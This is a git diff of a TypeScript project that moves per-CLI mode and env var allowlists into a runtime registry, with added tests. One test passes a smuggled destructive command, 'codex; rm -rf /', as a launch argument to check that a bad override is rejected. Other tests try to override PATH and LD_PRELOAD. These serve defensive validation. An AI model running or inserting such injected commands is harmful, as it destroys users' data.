field as `SessionMode`; the runtime check above is + * what actually constrains it. + */ +function sessionModeSchema(): z.ZodType { + return z.string().superRefine((value, ctx) => { + const allowed = sessionModeIds(); + if (!allowed.includes(value)) { + ctx.addIssue({ + code: 'custom', + message: `Invalid run mode ${JSON.stringify(value)}. Enabled modes: ${allowed.join(', ')}`, + }); + } + }) as unknown as z.ZodType; +} + // ========== Env Var Allowlist ========== -/** Allowlisted env var key prefixes */ -const ALLOWED_ENV_PREFIXES = [ - 'CLAUDE_CODE_', - 'OPENCODE_', - 'CODEX_', - 'GEMINI_', - 'GOOGLE_', - 'ANTIGRAVITY_', - 'PI_', - 'GROK_', - 'XAI_', - // DeepSeek Harness: `DSH_*` carries the launcher's own documented inputs - // (DSH_HOME, DSH_PERMISSION_MODE, DSH_TELEMETRY_MODE, and the DSH_TUI_* knobs - // the terminal front door reads); `DEEPSEEK_*` is the vendor namespace holding - // DEEPSEEK_API_KEY / DEEPSEEK_BASE_URL, the same narrow-vendor reasoning that - // admitted XAI_* for grok. Foreign provider keys stay out: a dsh settings.yaml - // can name ANY env var as a provider credential (apiKeyEnv), which is pi's - // 34-provider-key problem in a new shape, and the answer is the same one. - 'DSH_', - 'DEEPSEEK_', -]; +/** + * Allowlisted env var key prefixes, contributed by the ENABLED CLIs in the registry + * (`env.allowedPrefixes`) — `CLAUDE_CODE_`, `OPENCODE_`, `CODEX_`, `GEMINI_`, `GOOGLE_`, + * `ANTIGRAVITY_`, `PI_`, `GROK_`, `XAI_`, `DSH_`, `DEEPSEEK_` as shipped. + * + * ⚠️ Resolved AT PARSE TIME, not at module load. This used to be a frozen array computed + * once when the module was imported, which meant a CLI enabled while the server was running + * had its env prefix rejected until a restart — validation and the run menu disagreeing + * about which CLIs exist. Reading the registry per call costs a memoized array lookup. + * + * ⚠️ This is ONE GLOBAL LIST applied with no mode context, so admitting a prefix for one CLI + * widens it for every mode at once. That is why an entry only ever contributes its own + * VENDOR namespace: pi's ~34 provider keys (ANTHROPIC_API_KEY, OPENAI_API_KEY, HF_TOKEN, …) + * share no prefix and stay out, and a dsh `settings.yaml` can nominate ANY env var as a + * provider credential — same problem, same answer. Those CLIs authenticate via their own + * `/login` or the server process's own environment. + */ +function allowedEnvPrefixes(): string[] { + return enabledClis().flatMap((entry) => entry.env.allowedPrefixes); +} /** - * Allowlisted exact env var keys (checked alongside the prefixes). - * CLAUDE_CONFIG_DIR relocates the Claude CLI's user config (credentials, - * settings, stats) so a case can run on a separate Claude subscription (#255). - * Exact match only — CLAUDE_CONFIG_DIR_EXTRA etc. stay rejected. + * Allowlisted exact env var keys (checked alongside the prefixes), likewise contributed by + * enabled registry entries via `env.allowedKeys`. + * + * As shipped this is claude's CLAUDE_CONFIG_DIR, which relocates the Claude CLI's user + * config (credentials, settings, stats) so a case can run on a separate Claude subscription + * (#255). Exact match only — CLAUDE_CONFIG_DIR_EXTRA etc. stay rejected. */ -const ALLOWED_ENV_KEYS = new Set(['CLAUDE_CONFIG_DIR']); +function allowedEnvKeys(): Set { + return new Set(enabledClis().flatMap((entry) => entry.env.allowedKeys)); +} /** Env var keys that are always blocked (security-sensitive) */ const BLOCKED_ENV_KEYS = new Set([ @@ -162,11 +201,17 @@ const BLOCKED_ENV_KEYS = new Set([ 'OPENCODE_SERVER_PASSWORD', // Security-sensitive: server auth password ]); -/** Validate that an env var key is allowed */ +/** + * Validate that an env var key is allowed. + * + * ⚠️ `BLOCKED_ENV_KEYS` is checked FIRST and is deliberately NOT registry-driven. It is a + * hard floor: a rogue or fat-fingered `allowedPrefixes` entry (say `''`, which prefixes + * everything) still cannot unblock PATH or LD_PRELOAD. + */ function isAllowedEnvKey(key: string): boolean { if (BLOCKED_ENV_KEYS.has(key)) return false; - if (ALLOWED_ENV_KEYS.has(key)) return true; - return ALLOWED_ENV_PREFIXES.some((prefix) => key.startsWith(prefix)); + if (allowedEnvKeys().has(key)) return true; + return allowedEnvPrefixes().some((prefix) => key.startsWith(prefix)); } /** Zod schema for env overrides with allowlist enforcement */ @@ -440,7 +485,7 @@ const parentSessionIdSchema = z.string().max(100).optional(); export const CreateSessionSchema = z.object({ workingDir: safePathSchema.optional(), - mode: z.enum(['claude', 'shell', 'opencode', 'codex', 'gemini', 'antigravity', 'pi', 'grok', 'deepseek']).optional(), + mode: sessionModeSchema().optional(), name: z.string().max(100).optional(), /** Session that spawned this one — see parentSessionIdSchema. */ parentSessionId: parentSessionIdSchema, @@ -869,7 +914,7 @@ export const QuickStartSchema = z.object({ * a real host dir, so the settings file crosses the bind mount); rejected for * remote cases (the file would be written on the WRONG machine). */ modelOverride: z.string().max(50).optional(), - mode: z.enum(['claude', 'shell', 'opencode', 'codex', 'gemini', 'antigravity', 'pi', 'grok', 'deepseek']).optional(), + mode: sessionModeSchema().optional(), openCodeConfig: OpenCodeConfigSchema, codexConfig: CodexConfigSchema, geminiConfig: GeminiConfigSchema, @@ -1410,7 +1455,7 @@ const noNewlines = (v: string) => !/[\r\n]/.test(v); /** Shared field shape for creating/updating a scheduled job. */ const CronJobBaseSchema = z.object({ name: z.string().min(1).max(200), - agentType: z.enum(['claude', 'shell', 'opencode', 'codex', 'gemini', 'antigravity', 'pi', 'grok', 'deepseek']), + agentType: sessionModeSchema(), workingDir: safePathSchema, launchCommand: z.string().max(2000).refine(noNewlines, 'launchCommand must be a single line').optional(), promptMode: z.enum(['inline_text', 'prompt_file_path']), diff --git a/src/web/session-wait-registry.ts b/src/web/session-wait-registry.ts index 0592d9525..1f769d40d 100644 --- a/src/web/session-wait-registry.ts +++ b/src/web/session-wait-registry.ts @@ -65,6 +65,7 @@ import { MAX_SNIPPET_CONTEXT, } from '../config/agent-wait.js'; import type { SessionMode, SessionStatus } from '../types.js'; +import { getCli } from '../config/cli-registry/registry.js'; // ─── Signals ───────────────────────────────────────────────────────────────── @@ -223,18 +224,26 @@ export interface HookCapabilityOptions { * function only about hook SIGNALS. */ export function hooksAvailableForMode(mode: SessionMode, options: HookCapabilityOptions = {}): boolean { - if (mode === 'claude') return true; - // `deepseek` earns this the same way `claude` does — by emitting DEFINITIVE - // signals rather than having them inferred. The DeepSeek Harness terminal - // front door reports idle/working/blocked to its supervisor, and Codeman is - // that supervisor (see deepseek-status-shim.ts), so a dsh session really can - // deliver `stop` and `blocked` — unless the user turned the bridge off, in - // which case nothing on the box will ever post one. Every other mode is - // output-stabilization guesswork and must keep failing the ask. - if (mode === 'deepseek') { - return options.deepSeekStatusReporting !== false && options.deepSeekBridgeUnreachable !== true; + // A TRI-state capability, not a boolean, because the three answers are genuinely + // different questions — see CliCapabilities.hooks. + switch (getCli(mode)?.capabilities.hooks) { + case 'always': + // The CLI installs Codeman's own hooks block into its workspace (claude), so the + // signals are unconditional. + return true; + case 'supervised': + // The CLI REPORTS its own state to a supervisor and Codeman is that supervisor + // (deepseek, via deepseek-status-shim.ts) — definitive signals rather than inferred + // ones, which is what earns it a yes. But the user can disarm the bridge, and a + // docker/remote session cannot reach it at all; in either case nothing on the box + // will ever post one, so the answer has to come from the SESSION, not the mode. + return options.deepSeekStatusReporting !== false && options.deepSeekBridgeUnreachable !== true; + default: + // 'none', and an unregistered mode. Every other CLI's idle is output-stabilization + // guesswork, and must keep failing the ask rather than promising a signal that never + // arrives. + return false; } - return false; } /** diff --git a/test/agent-skill-mode-lists.test.ts b/test/agent-skill-mode-lists.test.ts index 9b01020d5..239ebcf37 100644 --- a/test/agent-skill-mode-lists.test.ts +++ b/test/agent-skill-mode-lists.test.ts @@ -48,7 +48,7 @@ import { describe, expect, it } from 'vitest'; import { readFileSync } from 'node:fs'; import { fileURLToPath } from 'node:url'; import { join } from 'node:path'; -import { CreateSessionSchema, QuickStartSchema } from '../src/web/schemas.js'; +import { CreateSessionSchema, QuickStartSchema, sessionModeIds } from '../src/web/schemas.js'; import { isExternalCliMode } from '../src/session.js'; import { hooksAvailableForMode } from '../src/web/session-wait-registry.js'; import type { SessionMode } from '../src/types/session.js'; @@ -63,14 +63,20 @@ const SKILL_FILES = [ 'reference/verbs.md', ]; -/** Modes the API actually accepts, read off the schema rather than restated here. */ -function schemaModes(schema: typeof CreateSessionSchema | typeof QuickStartSchema): SessionMode[] { - // `mode` is `z.enum([...]).optional()`; unwrap the optional to reach `.options`. - return (schema as unknown as { shape: { mode: { unwrap(): { options: SessionMode[] } } } }).shape.mode.unwrap() - .options; +/** + * Modes the API actually accepts, read off the runtime source of truth rather than restated + * here — the whole point of this file is to catch the skill docs drifting from what the API + * takes, which a second hardcoded list could not do. + * + * `mode` used to be a `z.enum([...])` whose `.options` this unwrapped. It is now resolved at + * parse time from the enabled CLI registry (so enabling a CLI does not need a restart), and + * there is no frozen member list on the schema to read; `sessionModeIds()` is that list. + */ +function schemaModes(): SessionMode[] { + return sessionModeIds() as SessionMode[]; } -const MODES = schemaModes(CreateSessionSchema); +const MODES = schemaModes(); const EXTERNAL_MODES = MODES.filter(isExternalCliMode); /** @@ -101,10 +107,21 @@ function modesIn(run: string): SessionMode[] { } describe('agent skill run-mode lists', () => { - it('derives the mode list from the schema, and both endpoints agree', () => { + it('derives the mode list from the registry, and both endpoints agree', () => { expect(MODES).toContain('pi'); - expect(new Set(schemaModes(QuickStartSchema))).toEqual(new Set(MODES)); expect(EXTERNAL_MODES.length).toBeGreaterThan(1); + // Guard against a parsing/registry regression silently making every scan below vacuous. + expect(MODES.length).toBeGreaterThanOrEqual(9); + + // Both endpoints now share one mode validator, so comparing member lists would compare + // a thing with itself. Parse through each schema instead: that survives the two + // drifting apart later, which is what this assertion is actually for. + for (const mode of MODES) { + expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode }).success).toBe(true); + expect(QuickStartSchema.safeParse({ caseName: 'demo', mode }).success).toBe(true); + } + expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'not-a-cli' }).success).toBe(false); + expect(QuickStartSchema.safeParse({ caseName: 'demo', mode: 'not-a-cli' }).success).toBe(false); }); it('documents the CLI availability probe for every agent mode', () => { diff --git a/test/cli-capability-predicates.test.ts b/test/cli-capability-predicates.test.ts new file mode 100644 index 000000000..aeb204663 --- /dev/null +++ b/test/cli-capability-predicates.test.ts @@ -0,0 +1,100 @@ +/** + * @fileoverview The three per-mode predicates that used to be hand-written id lists, and the + * invariant that they are INDEPENDENT. + * + * `isExternalCliMode()`, `isAltScreenStripMode()` and `hooksAvailableForMode()` describe three + * different, deliberately unequal sets. Deriving any one of them from another looks like a + * tidy-up and has already shipped a bug: `shell` has no hooks but is NOT an external CLI, so + * a hooks predicate written as `!isExternalCliMode()` accepted `until=stop` on a shell session + * and then blocked the caller for their entire timeout — an infinite wait wearing a timeout's + * clothes, which is precisely what that guard exists to prevent. + * + * Keeping them as three separate `CliCapabilities` fields makes that structural. This file is + * what stops someone collapsing them again. + * + * Port: none (pure predicates over registry data). + */ + +import { describe, it, expect } from 'vitest'; +import { isExternalCliMode, isAltScreenStripMode } from '../src/session.js'; +import { hooksAvailableForMode } from '../src/web/session-wait-registry.js'; +import { enabledCliIds } from '../src/config/cli-registry/registry.js'; +import type { SessionMode } from '../src/types/session.js'; + +const MODES = enabledCliIds() as SessionMode[]; + +describe('per-mode capability predicates', () => { + it.each([ + // mode external altScreenStrip hooks + ['claude', false, true, true], + ['shell', false, false, false], + ['opencode', true, false, false], + ['codex', true, true, false], + ['gemini', true, true, false], + ['antigravity', true, false, false], + ['pi', true, false, false], + ['grok', true, false, false], + ['deepseek', true, false, true], + ] as Array<[SessionMode, boolean, boolean, boolean]>)( + '%s: external=%s altScreenStrip=%s hooks=%s', + (mode, external, altScreen, hooks) => { + expect(isExternalCliMode(mode)).toBe(external); + expect(isAltScreenStripMode(mode)).toBe(altScreen); + expect(hooksAvailableForMode(mode)).toBe(hooks); + } + ); + + it('covers every enabled mode (sanity)', () => { + // If a CLI is added without a row above, this fails rather than the table silently + // describing a subset of reality. + expect(MODES.length).toBe(9); + }); + + it('keeps the three predicates genuinely distinct', () => { + // Not "they happen to differ today" — each pair differs on a NAMED mode, and each of + // those disagreements is load-bearing. + const external = MODES.filter(isExternalCliMode); + const altScreen = MODES.filter(isAltScreenStripMode); + const hooks = MODES.filter((m) => hooksAvailableForMode(m)); + + expect(external).not.toEqual(altScreen); + expect(external).not.toEqual(hooks); + expect(altScreen).not.toEqual(hooks); + + // claude is the mode that separates all three: not external, IS stripped, HAS hooks. + expect(isExternalCliMode('claude')).toBe(false); + expect(isAltScreenStripMode('claude')).toBe(true); + expect(hooksAvailableForMode('claude')).toBe(true); + // deepseek is external AND has hooks — the pairing that makes "external ⇒ no hooks" false. + expect(isExternalCliMode('deepseek')).toBe(true); + expect(hooksAvailableForMode('deepseek')).toBe(true); + }); + + it('does not accept a hook-only wait on a shell session', () => { + // The exact historical bug, reproduced. `shell` is not external, so any hooks predicate + // derived from `isExternalCliMode` would answer true here and hang the caller. + expect(isExternalCliMode('shell')).toBe(false); + expect(hooksAvailableForMode('shell')).toBe(false); + }); + + it("treats deepseek's hooks as a per-SESSION question, not a per-mode one", () => { + // 'supervised': real signals, but only while this session's bridge is actually armed and + // reachable. Answering from the mode alone promises a `stop` that never arrives. + expect(hooksAvailableForMode('deepseek')).toBe(true); + expect(hooksAvailableForMode('deepseek', { deepSeekStatusReporting: false })).toBe(false); + expect(hooksAvailableForMode('deepseek', { deepSeekBridgeUnreachable: true })).toBe(false); + // claude's are unconditional, so the same options change nothing. + expect(hooksAvailableForMode('claude', { deepSeekStatusReporting: false })).toBe(true); + expect(hooksAvailableForMode('claude', { deepSeekBridgeUnreachable: true })).toBe(true); + }); + + it('falls back conservatively for an unregistered mode', () => { + const unknown = 'not-a-cli' as SessionMode; + // External: disables Claude-specific parsing rather than pointing it at foreign output. + expect(isExternalCliMode(unknown)).toBe(true); + // No hooks: never promise a signal nothing will send. + expect(hooksAvailableForMode(unknown)).toBe(false); + // No full strip: leaving the alt screen alone is the safe default for an unknown TUI. + expect(isAltScreenStripMode(unknown)).toBe(false); + }); +}); diff --git a/test/cli-registry-load.test.ts b/test/cli-registry-load.test.ts new file mode 100644 index 000000000..dfc8c6886 --- /dev/null +++ b/test/cli-registry-load.test.ts @@ -0,0 +1,228 @@ +/** + * @fileoverview Loading and merging `~/.codeman/clis.json` over the stock catalog. + * + * Two properties matter most here and neither is obvious from reading the loader: + * + * 1. A BAD OVERRIDE MUST NOT BRICK A SHIPPED CLI. The file is hand-editable, so a typo is a + * matter of when, not if. A stock entry that fails validation after merge falls back to + * its pristine definition; a custom entry that fails is dropped. Neither takes the rest + * of the catalog down with it. + * 2. LOADING WRITES NOTHING. There is no settings UI and no write API in this build, so + * there is nothing to persist — and `src/web/schemas.ts` imports the registry just to + * validate a request, which would make any write here a filesystem side effect of + * parsing HTTP input. + * + * Port: none (`resolveRegistry` is pure; the on-disk cases use the per-file temp HOME from + * test/setup.ts). + */ + +import { describe, it, expect, beforeEach, afterEach } from 'vitest'; +import { existsSync, mkdirSync, readdirSync, readFileSync, writeFileSync } from 'node:fs'; +import { dirname } from 'node:path'; +import { dataPath } from '../src/config/instance.js'; +import { STOCK_CLIS } from '../src/config/cli-registry/stock.js'; +import { resolveRegistry, loadCliRegistry, reloadCliRegistry, listClis } from '../src/config/cli-registry/registry.js'; +import type { CliEntry } from '../src/config/cli-registry/types.js'; +import { CreateSessionSchema, sessionModeIds } from '../src/web/schemas.js'; + +/** A complete, valid custom entry — the minimum a user would have to write by hand. */ +function customEntry(id: string): Record { + const template = STOCK_CLIS.find((e) => (e.id as string) === 'pi'); + if (!template) throw new Error('pi is missing from the stock catalog'); + return JSON.parse(JSON.stringify({ ...template, id, label: 'Custom', order: 999 })) as Record; +} + +function writeRegistryFile(contents: unknown): void { + const path = dataPath('clis.json'); + mkdirSync(dirname(path), { recursive: true }); + writeFileSync(path, typeof contents === 'string' ? contents : JSON.stringify(contents, null, 2), { mode: 0o600 }); +} + +describe('resolveRegistry (pure)', () => { + it('returns the stock catalog unchanged when there is no file', () => { + const warnings: string[] = []; + const { entries } = resolveRegistry(STOCK_CLIS, null, warnings); + expect(warnings).toEqual([]); + expect(entries.map((e) => e.id as string)).toEqual(STOCK_CLIS.map((e) => e.id as string)); + expect(entries.every((e) => e.stock)).toBe(true); + }); + + it('applies a partial override without disturbing anything else', () => { + const warnings: string[] = []; + const { entries } = resolveRegistry(STOCK_CLIS, { schemaVersion: 1, clis: { grok: { enabled: false } } }, warnings); + expect(warnings).toEqual([]); + const byId = new Map(entries.map((e) => [e.id as string, e])); + expect(byId.get('grok')?.enabled).toBe(false); + // The override touched one key; everything else about grok, and every other CLI, stands. + expect(byId.get('grok')?.launch.variants[0].args[0]).toEqual({ lit: 'grok' }); + expect(entries.filter((e) => e.enabled).length).toBe(STOCK_CLIS.length - 1); + }); + + it('replaces arrays wholesale rather than merging them element-wise', () => { + // A half-merged searchDirs (or worse, a half-merged args list) is not a reasonable + // thing to hand a spawn path, so arrays replace. + const warnings: string[] = []; + const { entries } = resolveRegistry( + STOCK_CLIS, + { schemaVersion: 1, clis: { pi: { discovery: { searchDirs: ['/only/this'] } } } }, + warnings + ); + expect(entries.find((e) => (e.id as string) === 'pi')?.discovery.searchDirs).toEqual(['/only/this']); + }); + + it('adds a well-formed custom entry', () => { + const warnings: string[] = []; + const { entries } = resolveRegistry( + STOCK_CLIS, + { schemaVersion: 1, clis: { mycli: customEntry('mycli') } }, + warnings + ); + expect(warnings).toEqual([]); + const mine = entries.find((e) => (e.id as string) === 'mycli'); + expect(mine?.label).toBe('Custom'); + // Forced false regardless of what the file claimed — provenance is not user-assertable. + expect(mine?.stock).toBe(false); + }); + + it('drops an invalid custom entry but keeps the whole stock catalog', () => { + const warnings: string[] = []; + const { entries } = resolveRegistry( + STOCK_CLIS, + { schemaVersion: 1, clis: { broken: { label: 'nope' } } }, + warnings + ); + expect(entries.map((e) => e.id as string)).toEqual(STOCK_CLIS.map((e) => e.id as string)); + expect(warnings.join(' ')).toContain('broken'); + }); + + it('falls back to the PRISTINE definition when an override breaks a stock CLI', () => { + // This is the one that matters: a fat-fingered override of a shipped CLI must degrade to + // the shipped behaviour, never to a CLI that cannot launch. + const warnings: string[] = []; + const { entries } = resolveRegistry( + STOCK_CLIS, + { + schemaVersion: 1, + clis: { codex: { launch: { variants: [{ id: 'x', args: [{ lit: 'codex; rm -rf /' }] }] } } }, + }, + warnings + ); + const codex = entries.find((e) => (e.id as string) === 'codex'); + expect(codex?.launch.variants[0].args[0]).toEqual({ lit: 'codex' }); + expect(warnings.join(' ')).toContain('codex'); + }); + + it('refuses to let a custom entry impersonate a stock one', () => { + const warnings: string[] = []; + const impostor = { ...customEntry('grok'), stock: true, label: 'Not Grok' }; + const { entries } = resolveRegistry(STOCK_CLIS, { schemaVersion: 1, clis: { grok: impostor } }, warnings); + const grok = entries.filter((e) => (e.id as string) === 'grok'); + expect(grok).toHaveLength(1); + expect(grok[0].stock).toBe(true); + }); + + it('sorts by order', () => { + const { entries } = resolveRegistry(STOCK_CLIS, null, []); + const orders = entries.map((e) => e.order); + expect([...orders].sort((a, b) => a - b)).toEqual(orders); + }); +}); + +describe('loadCliRegistry (on disk)', () => { + beforeEach(() => reloadCliRegistry()); + afterEach(() => reloadCliRegistry()); + + it('WRITES NOTHING when no file exists', () => { + const path = dataPath('clis.json'); + expect(existsSync(path)).toBe(false); + const { entries, warnings } = loadCliRegistry(); + expect(entries).toHaveLength(STOCK_CLIS.length); + expect(warnings).toEqual([]); + // The whole reason this build has no seeding ratchet: importing the registry (which + // schemas.ts does, to validate a request) must not touch the filesystem. + expect(existsSync(path)).toBe(false); + }); + + it('WRITES NOTHING when a file does exist', () => { + writeRegistryFile({ schemaVersion: 1, clis: { grok: { enabled: false } } }); + const before = readFileSync(dataPath('clis.json'), 'utf-8'); + loadCliRegistry(); + expect(readFileSync(dataPath('clis.json'), 'utf-8')).toBe(before); + }); + + it('tolerates a file written by a future version that carries seededStockIds', () => { + // Forward compatibility: a later build persists that key. Reading it must not fail. + writeRegistryFile({ schemaVersion: 1, seededStockIds: ['claude', 'shell'], clis: {} }); + const { entries, warnings } = loadCliRegistry(); + expect(entries).toHaveLength(STOCK_CLIS.length); + expect(warnings).toEqual([]); + }); + + it('QUARANTINES malformed JSON rather than overwriting it', () => { + // The file is hand-editable, so a syntax error is far more likely to be a half-finished + // edit than junk. Renaming keeps the user's work; truncating would destroy it. + writeRegistryFile('{ "clis": { oops'); + const { entries, warnings } = loadCliRegistry(); + expect(entries).toHaveLength(STOCK_CLIS.length); + expect(warnings.join(' ')).toContain('not valid JSON'); + const siblings = readdirSync(dirname(dataPath('clis.json'))); + expect(siblings.some((f) => f.startsWith('clis.json.invalid-'))).toBe(true); + expect(siblings).not.toContain('clis.json'); + }); +}); + +describe('the mode allowlist resolves at PARSE time, not import time', () => { + beforeEach(() => reloadCliRegistry()); + afterEach(() => reloadCliRegistry()); + + it('stops accepting a mode as soon as its CLI is disabled — no restart', () => { + // The regression this pins: SESSION_MODE_IDS used to be computed once at module load, + // so toggling a CLI updated the Run menu while `POST /api/sessions` kept answering + // INVALID_INPUT until the server restarted. Validation and the menu disagreed about + // which CLIs existed, and the flow the feature was built around simply did not work. + expect(sessionModeIds()).toContain('grok'); + expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'grok' }).success).toBe(true); + + writeRegistryFile({ schemaVersion: 1, clis: { grok: { enabled: false } } }); + reloadCliRegistry(); + + expect(sessionModeIds()).not.toContain('grok'); + expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'grok' }).success).toBe(false); + // ...and the schema object itself was never rebuilt. + expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'claude' }).success).toBe(true); + }); + + it('admits a custom CLI as a run mode the moment it loads', () => { + expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'mycli' }).success).toBe(false); + writeRegistryFile({ schemaVersion: 1, clis: { mycli: customEntry('mycli') } }); + reloadCliRegistry(); + expect(CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'mycli' }).success).toBe(true); + }); + + it('follows the registry for env-prefix allowlisting too', () => { + // Same import-time freeze applied to ALLOWED_ENV_PREFIXES, with the same symptom. + const withGrokEnv = { workingDir: '/tmp', mode: 'claude', envOverrides: { XAI_API_KEY: 'x' } }; + expect(CreateSessionSchema.safeParse(withGrokEnv).success).toBe(true); + + writeRegistryFile({ schemaVersion: 1, clis: { grok: { enabled: false } } }); + reloadCliRegistry(); + + // XAI_ was grok's contribution; with grok disabled nothing allowlists it any more. + expect(CreateSessionSchema.safeParse(withGrokEnv).success).toBe(false); + }); + + it('never lets a registry entry unblock a hard-blocked key', () => { + // BLOCKED_ENV_KEYS is deliberately NOT registry-driven. Even a pathological entry + // claiming a prefix that covers everything must not reach PATH. + const evil = customEntry('evil'); + (evil as { env: { allowedPrefixes: string[] } }).env.allowedPrefixes = ['P']; + writeRegistryFile({ schemaVersion: 1, clis: { evil } }); + reloadCliRegistry(); + // The schema rejects a 1-char prefix outright, so the entry is dropped... + expect(listClis().some((e) => (e.id as string) === 'evil')).toBe(false); + // ...and PATH stays blocked regardless. + expect( + CreateSessionSchema.safeParse({ workingDir: '/tmp', mode: 'claude', envOverrides: { PATH: '/evil' } }).success + ).toBe(false); + }); +}); diff --git a/test/cli-registry-no-id-branching.test.ts b/test/cli-registry-no-id-branching.test.ts new file mode 100644 index 000000000..300ff4fe9 --- /dev/null +++ b/test/cli-registry-no-id-branching.test.ts @@ -0,0 +1,207 @@ +/** + * @fileoverview Static guard: no code outside the stock catalog branches on a CLI's ID. + * + * The whole point of the registry is that behaviour which differs between CLIs is DATA (a + * `CliEntry` field) or a NAMED PROFILE selected by a field — never `mode === 'codex'`. A + * single reintroduced id-check is how the old shape grows back, one "just this once" at a + * time, until adding a CLI means editing forty files again. + * + * This guard was cited by name in three separate file headers of an earlier attempt at this + * refactor and never actually written — and in its absence four id-branches survived that + * migration, one of them dead code sitting directly under the generic check that replaced it. + * So the guard is not decoration: it is the thing that makes the rule true rather than + * aspirational. + * + * ## What is allowlisted, and why an allowlist rather than zero + * + * Some branches are not CLI-behaviour branches at all, and forcing them through a capability + * would make the code worse, not better. Each entry below carries its reason. The categories: + * + * - **Legacy `Config` plumbing.** `POST /api/sessions` has carried named per-CLI + * config objects since before the registry, and `docs/versioning-policy.md` makes that + * wire shape public. Selecting `codexConfig` for codex is a fact about the HTTP API, not + * about codex, and the `Session` constructor mirrors it. The registry already owns the + * translation (`launch.legacyConfigField`); collapsing the constructor too is a public-API + * change and belongs in its own PR. + * - **Claude's remote/docker command construction.** Claude's pane command varies with the + * session's permission mode and its docker form is `--session-id … || resume`, semantics + * no other CLI has and a static `overlays.command` string cannot express. + * - **Genuinely per-CLI prose.** One error message that explains why a deepseek session in + * particular will never deliver a `stop` signal. + * + * ⚠️ Adding an entry here is a decision, not a formality. If the branch is about what a CLI + * CAN DO, it belongs in `CliCapabilities` instead — and if it needs to run code, in + * `config/cli-registry/profiles.ts` as a named profile. + * + * Port: none (pure static analysis). + */ + +import { describe, it, expect } from 'vitest'; +import { readdirSync, readFileSync, statSync } from 'node:fs'; +import { join, relative, sep } from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { STOCK_CLIS } from '../src/config/cli-registry/stock.js'; + +const SRC = fileURLToPath(new URL('../src', import.meta.url)); + +/** + * Files exempt from the scan entirely, because naming CLI ids IS their job. + * + * `stock.ts` is the catalog. The per-CLI resolver modules are each ABOUT one CLI and look up + * their own entry by id — the same reason the catalog may, and the reason they are not a + * loophole: they resolve a binary, they decide no behaviour. + */ +const EXEMPT_FILES = new Set( + [ + 'config/cli-registry/stock.ts', + 'utils/claude-cli-resolver.ts', + 'utils/opencode-cli-resolver.ts', + 'utils/codex-cli-resolver.ts', + 'utils/gemini-cli-resolver.ts', + 'utils/antigravity-cli-resolver.ts', + 'utils/pi-cli-resolver.ts', + 'utils/grok-cli-resolver.ts', + 'utils/deepseek-cli-resolver.ts', + // Names the deepseek launcher profile's implementation; keyed by profile, not by id. + 'utils/cli-launcher.ts', + ].map((p) => p.split('/').join(sep)) +); + +/** + * Specific surviving branches, each with the reason it is not a capability. + * Keyed `::`. + */ +const ALLOWED_BRANCHES: Record = { + // --- Legacy Config plumbing (public wire shape, see the header) --- + "web/routes/session-routes.ts::mode === 'opencode'": 'legacy Config plumbing', + "web/routes/session-routes.ts::mode === 'codex'": 'legacy Config plumbing', + "web/routes/session-routes.ts::mode === 'gemini'": 'legacy Config plumbing', + "web/routes/session-routes.ts::mode === 'antigravity'": 'legacy Config plumbing', + "web/routes/session-routes.ts::mode === 'pi'": 'legacy Config plumbing', + "web/routes/session-routes.ts::mode === 'grok'": 'legacy Config plumbing', + "web/routes/session-routes.ts::mode === 'deepseek'": 'legacy Config plumbing', + "web/server.ts::mode === 'opencode'": 'legacy Config plumbing (session recovery)', + "web/server.ts::mode === 'codex'": 'legacy Config plumbing (session recovery)', + "web/server.ts::mode === 'gemini'": 'legacy Config plumbing (session recovery)', + "web/server.ts::mode === 'antigravity'": 'legacy Config plumbing (session recovery)', + "web/server.ts::mode === 'pi'": 'legacy Config plumbing (session recovery)', + "web/server.ts::mode === 'grok'": 'legacy Config plumbing (session recovery)', + "web/server.ts::mode === 'deepseek'": 'legacy Config plumbing (session recovery)', + + // --- Claude's remote/docker command construction --- + "tmux-manager.ts::mode === 'claude'": + "claude's remote pane command carries per-session permission flags, and its docker form is " + + '`--session-id … || resume`; neither fits a static overlays.command string', + + // --- Per-CLI prose and launch handling not yet generalised --- + "web/session-wait-registry.ts::mode === 'deepseek'": + 'an error message explaining why THIS mode in particular will never deliver a stop signal', + "web/routes/approval-routes.ts::mode === 'deepseek'": + 'the DeepSeek status bridge is the only non-claude source of approval items', + "cron/cron-service.ts::mode === 'deepseek'": 'cron launch handling, not yet generalised', + "cron/cron-service.ts::mode === 'claude'": 'cron launch handling, not yet generalised', + "cron/cron-service.ts::mode === 'shell'": 'cron launch handling, not yet generalised', + "web/routes/session-routes.ts::mode === 'claude'": 'docker case bookkeeping keyed on the claude conversation id', + "cli.ts::mode === 'shell'": 'a CLI-table label, not behaviour', +}; + +/** Every stock CLI id, derived rather than restated so a new entry is covered automatically. */ +const IDS = STOCK_CLIS.map((e) => e.id as string); +const BRANCH_PATTERN = new RegExp(`\\b(?:mode|id|agentType)\\s*===\\s*'(?:${IDS.join('|')})'`, 'g'); + +/** + * Drop comment lines before scanning. Comments legitimately quote the very pattern being + * banned — several of them explain WHY a branch was removed — and flagging those would push + * the next author to delete the explanation rather than the code. + */ +function uncommented(source: string): string { + return source + .split('\n') + .filter((line) => !/^\s*(\/\/|\*|\/\*)/.test(line)) + .join('\n'); +} + +function walk(dir: string, out: string[] = []): string[] { + for (const name of readdirSync(dir)) { + const full = join(dir, name); + if (statSync(full).isDirectory()) walk(full, out); + else if (name.endsWith('.ts')) out.push(full); + } + return out; +} + +interface Finding { + file: string; + expression: string; + line: number; + key: string; +} + +function scan(): { findings: Finding[]; filesScanned: number } { + const findings: Finding[] = []; + const files = walk(SRC); + let scanned = 0; + for (const full of files) { + const rel = relative(SRC, full); + if (EXEMPT_FILES.has(rel)) continue; + scanned++; + const lines = uncommented(readFileSync(full, 'utf-8')).split('\n'); + lines.forEach((line, i) => { + BRANCH_PATTERN.lastIndex = 0; // shared /g regex — see utils/regex-patterns.ts + for (const match of line.matchAll(BRANCH_PATTERN)) { + const expression = match[0].replace(/\s+/g, ' ').replace(/^(?:id|agentType)/, 'mode'); + const posix = rel.split(sep).join('/'); + findings.push({ file: posix, expression, line: i + 1, key: `${posix}::${expression}` }); + } + }); + } + return { findings, filesScanned: scanned }; +} + +const { findings, filesScanned } = scan(); + 